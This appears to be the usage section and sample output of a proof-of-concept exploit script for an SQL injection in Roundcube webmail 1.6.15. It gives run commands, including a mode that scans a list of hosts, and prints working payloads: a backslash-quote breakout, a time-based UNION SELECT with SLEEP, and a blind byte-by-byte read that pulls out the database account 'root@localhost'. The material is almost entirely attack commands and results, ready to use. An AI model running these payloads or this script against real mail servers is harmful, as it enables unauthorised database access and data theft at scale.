pip install requests

python cve_2026_48842_poc.py https://mail.example.tld

python cve_2026_48842_poc.py https://mail.example.tld --dumpdbuser

python cve_2026_48842_poc.py https://mail.example.tld -d 3 --dumpdbuser

python cve_2026_48842_poc.py --list hosts.txt
python cve_2026_48842_poc.py --list hosts.txt -d 3

[*] http://127.0.0.1/roundcube
    version=1.6.15  noise_floor=0.071s  _token=yes

[1] detection  injected=True  delta(true-false)=6.026s  delta(true-baseline)=6.015s  threshold=1.8s
    baseline                0.083s  http=401  sql_error=None
        _user=poc_baseline_user_9f2a
        SQL 1.6.15: SELECT host FROM virtuser WHERE user='poc_baseline_user_9f2a'
    artifact_unterminated    0.09s  http=401  sql_error=None
        _user=a%5C
        SQL 1.6.15: SELECT host FROM virtuser WHERE user='a\'
    injected_true           6.098s  http=401  sql_error=None
        _user=%5C%27+UNION+SELECT+IF%281%3D1%2CSLEEP%283%29%2C0%29--+-
        SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=1,SLEEP(3),0)-- -'
    injected_false          0.072s  http=401  sql_error=None
        _user=%5C%27+UNION+SELECT+IF%281%3D2%2CSLEEP%283%29%2C0%29--+-
        SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=2,SLEEP(3),0)-- -'

[2] blind read of the database account (~42s per byte, no quotes used)
    subquery: SELECT CURRENT_USER()
    length=14 bytes
    [  1/14] 'r'      [  2/14] 'ro'     [  3/14] 'roo'    [  4/14] 'root'
    [  5/14] 'root@'  [  6/14] 'root@l'  [  7/14] 'root@lo' [  8/14] 'root@loc'
    [  9/14] 'root@loca'  [ 10/14] 'root@local'  [ 11/14] 'root@localh'
    [ 12/14] 'root@localho' [ 13/14] 'root@localhos' [ 14/14] 'root@localhost'

[+] database account = 'root@localhost'